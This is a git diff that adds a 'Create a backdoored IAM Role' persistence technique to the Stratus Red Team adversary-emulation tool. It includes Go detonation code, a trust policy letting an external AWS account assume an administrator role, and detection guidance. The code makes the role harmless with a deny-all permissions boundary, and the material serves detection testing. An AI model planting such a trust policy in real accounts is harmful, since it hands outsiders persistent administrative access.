diff --git a/docs/attack-techniques/AWS/aws.persistence.iam-create-backdoor-role.md b/docs/attack-techniques/AWS/aws.persistence.iam-create-backdoor-role.md
new file mode 100755
index 00000000..7422748f
--- /dev/null
+++ b/docs/attack-techniques/AWS/aws.persistence.iam-create-backdoor-role.md
@@ -0,0 +1,79 @@
+---
+title: Create a backdoored IAM Role
+---
+
+# Create a backdoored IAM Role
+
+
+
+
+Platform: AWS
+
+## MITRE ATT&CK Tactics
+
+
+- Persistence
+
+## Description
+
+
+Establishes persistence by creating a new backdoor role with a trust policy allowing it to be assumed from
+an external, fictitious attack AWS account.
+
+Warm-up: None.
+
+Detonation:
+
+- Create a new IAM role with the following trust policy:
+
+```json
+{
+ "Version": "2012-10-17",
+ "Statement": [
+ {
+ "Effect": "Allow",
+ "Principal": {
+ "AWS": "arn:aws:iam::193672423079:root"
+ },
+ "Action": "sts:AssumeRole"
+ }
+ ]
+}
+```
+
+- Attach the 'AdministratorAccess' managed IAM policy to it.
+
+*Note: For safety reasons, the detonation code makes sure that this role has no real effective permissions, by attaching a permissions boundary denying all actions. This could also be achieved with an inline role policy, but using a permissions boundary allows us to use a single API call (CreateRole).*
+
+References:
+
+- https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me
+
+
+## Instructions
+
+```bash title="Detonate with Stratus Red Team"
+stratus detonate aws.persistence.iam-create-backdoor-role
+```
+## Detection
+
+
+- Through [IAM Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-iam-role),
+which generates a finding when a role can be assumed from a new AWS account or publicly.
+
+- Identify a call to CreateRole
closely followed by AttachRolePolicy
with an administrator policy.
+
+- Identify a call to CreateRole
that contains an assumeRolePolicyDocument in the requestParameters that allows access from an external AWS account. Sample event:
+
+```
+{
+ "eventSource": "iam.amazonaws.com",
+ "eventName": "CreateRole",
+ "requestParameters": {
+ "roleName": "malicious-iam-role",
+ "assumeRolePolicyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Action\": \"sts:AssumeRole\"\n },\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::193672423079:root\"\n },\n \"Action\": \"sts:AssumeRole\"\n }\n ]\n}"
+ }
+}
+```
+
+
diff --git a/docs/attack-techniques/AWS/index.md b/docs/attack-techniques/AWS/index.md
index 195e94ad..488cba53 100755
--- a/docs/attack-techniques/AWS/index.md
+++ b/docs/attack-techniques/AWS/index.md
@@ -90,6 +90,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT
- [Create an administrative IAM User](./aws.persistence.iam-create-admin-user.md)
+- [Create a backdoored IAM Role](./aws.persistence.iam-create-backdoor-role.md)
+
- [Create a Login Profile on an IAM User](./aws.persistence.iam-create-user-login-profile.md)
- [Backdoor Lambda Function Through Resource-Based Policy](./aws.persistence.lambda-backdoor-function.md)
diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md
index 6a6bdfd5..a9a3e4e0 100755
--- a/docs/attack-techniques/list.md
+++ b/docs/attack-techniques/list.md
@@ -39,6 +39,7 @@ This page contains the list of all Stratus Attack Techniques.
| [Backdoor an IAM Role](./AWS/aws.persistence.iam-backdoor-role.md) | [AWS](./AWS/index.md) | Persistence |
| [Create an Access Key on an IAM User](./AWS/aws.persistence.iam-backdoor-user.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation |
| [Create an administrative IAM User](./AWS/aws.persistence.iam-create-admin-user.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation |
+| [Create a backdoored IAM Role](./AWS/aws.persistence.iam-create-backdoor-role.md) | [AWS](./AWS/index.md) | Persistence |
| [Create a Login Profile on an IAM User](./AWS/aws.persistence.iam-create-user-login-profile.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation |
| [Backdoor Lambda Function Through Resource-Based Policy](./AWS/aws.persistence.lambda-backdoor-function.md) | [AWS](./AWS/index.md) | Persistence |
| [Add a Malicious Lambda Extension](./AWS/aws.persistence.lambda-layer-extension.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation |
diff --git a/docs/index.yaml b/docs/index.yaml
index 3ced0577..c5436e45 100644
--- a/docs/index.yaml
+++ b/docs/index.yaml
@@ -221,6 +221,13 @@ AWS:
- Privilege Escalation
platform: AWS
isIdempotent: false
+ - id: aws.persistence.iam-create-backdoor-role
+ name: Create a backdoored IAM Role
+ isSlow: false
+ mitreAttackTactics:
+ - Persistence
+ platform: AWS
+ isIdempotent: false
- id: aws.persistence.iam-create-user-login-profile
name: Create a Login Profile on an IAM User
isSlow: false
diff --git a/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/main.go b/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/main.go
new file mode 100644
index 00000000..9e5d63a9
--- /dev/null
+++ b/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/main.go
@@ -0,0 +1,127 @@
+package aws
+
+import (
+ "context"
+ _ "embed"
+ "errors"
+ "github.com/aws/aws-sdk-go-v2/aws"
+ "github.com/aws/aws-sdk-go-v2/service/iam"
+ "github.com/datadog/stratus-red-team/v2/pkg/stratus"
+ "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
+ "log"
+)
+
+//go:embed malicious_trust_policy.json
+var maliciousTrustPolicy string
+
+var roleName string = "stratus-red-team-malicious-iam-role"
+var adminPolicyArn string = "arn:aws:iam::aws:policy/AdministratorAccess"
+
+func init() {
+ const codeBlock = "```"
+ stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
+ ID: "aws.persistence.iam-create-backdoor-role",
+ FriendlyName: "Create a backdoored IAM Role",
+ Description: `
+Establishes persistence by creating a new backdoor role with a trust policy allowing it to be assumed from
+an external, fictitious attack AWS account.
+
+Warm-up: None.
+
+Detonation:
+
+- Create a new IAM role with the following trust policy:
+
+` + codeBlock + `json
+` + maliciousTrustPolicy + `
+` + codeBlock + `
+
+- Attach the 'AdministratorAccess' managed IAM policy to it.
+
+*Note: For safety reasons, the detonation code makes sure that this role has no real effective permissions, by attaching a permissions boundary denying all actions. This could also be achieved with an inline role policy, but using a permissions boundary allows us to use a single API call (CreateRole).*
+
+References:
+
+- https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me
+`,
+ Detection: `
+- Through [IAM Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-iam-role),
+which generates a finding when a role can be assumed from a new AWS account or publicly.
+
+- Identify a call to CreateRole
closely followed by AttachRolePolicy
with an administrator policy.
+
+- Identify a call to CreateRole
that contains an assumeRolePolicyDocument in the requestParameters that allows access from an external AWS account. Sample event:
+
+` + codeBlock + `
+{
+ "eventSource": "iam.amazonaws.com",
+ "eventName": "CreateRole",
+ "requestParameters": {
+ "roleName": "malicious-iam-role",
+ "assumeRolePolicyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Action\": \"sts:AssumeRole\"\n },\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::193672423079:root\"\n },\n \"Action\": \"sts:AssumeRole\"\n }\n ]\n}"
+ }
+}
+` + codeBlock + `
+`,
+ Platform: stratus.AWS,
+ IsIdempotent: false, // cannot create twice a role with the same name
+ MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence},
+ Detonate: detonate,
+ Revert: revert,
+ })
+}
+
+func detonate(_ map[string]string, providers stratus.CloudProviders) error {
+ iamClient := iam.NewFromConfig(providers.AWS().GetConnection())
+
+ log.Println("Creating a malicious IAM role")
+ input := &iam.CreateRoleInput{
+ RoleName: &roleName,
+ AssumeRolePolicyDocument: &maliciousTrustPolicy,
+ PermissionsBoundary: aws.String("arn:aws:iam::aws:policy/AWSDenyAll"),
+ }
+
+ _, err := iamClient.CreateRole(context.Background(), input)
+ if err != nil {
+ return errors.New("Unable to create IAM role: " + err.Error())
+ }
+
+ log.Println("Backdoor IAM role created: " + roleName)
+
+ attachPolicyInput := &iam.AttachRolePolicyInput{
+ RoleName: &roleName,
+ PolicyArn: &adminPolicyArn,
+ }
+
+ _, err = iamClient.AttachRolePolicy(context.Background(), attachPolicyInput)
+ if err != nil {
+ log.Fatalf("Unable to attach AdministratorAccess policy to IAM role: %v", err)
+ }
+
+ log.Println("AdministratorAccess policy attached successfully")
+ return nil
+}
+
+func revert(_ map[string]string, providers stratus.CloudProviders) error {
+ iamClient := iam.NewFromConfig(providers.AWS().GetConnection())
+ detachPolicyInput := &iam.DetachRolePolicyInput{
+ RoleName: &roleName,
+ PolicyArn: &adminPolicyArn,
+ }
+ _, err := iamClient.DetachRolePolicy(context.Background(), detachPolicyInput)
+ if err != nil {
+ return errors.New("Unable to detach policy from IAM role: " + err.Error())
+ }
+ log.Println("Policy detached from IAM role: " + roleName)
+ log.Println("Deleting IAM role " + roleName)
+ input := &iam.DeleteRoleInput{
+ RoleName: &roleName,
+ }
+ _, err = iamClient.DeleteRole(context.Background(), input)
+ if err != nil {
+ return errors.New("Unable to delete IAM role: " + err.Error())
+ }
+
+ log.Println("IAM role deleted: " + roleName)
+ return nil
+}
diff --git a/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/malicious_trust_policy.json b/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/malicious_trust_policy.json
new file mode 100644
index 00000000..f14f6b15
--- /dev/null
+++ b/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/malicious_trust_policy.json
@@ -0,0 +1,12 @@
+{
+ "Version": "2012-10-17",
+ "Statement": [
+ {
+ "Effect": "Allow",
+ "Principal": {
+ "AWS": "arn:aws:iam::193672423079:root"
+ },
+ "Action": "sts:AssumeRole"
+ }
+ ]
+}
\ No newline at end of file
diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go
index 4458c982..b86ff222 100644
--- a/v2/internal/attacktechniques/main.go
+++ b/v2/internal/attacktechniques/main.go
@@ -31,6 +31,7 @@ import (
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-backdoor-role"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-backdoor-user"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-create-admin-user"
+ _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-create-user-login-profile"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/lambda-backdoor-function"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/lambda-layer-extension"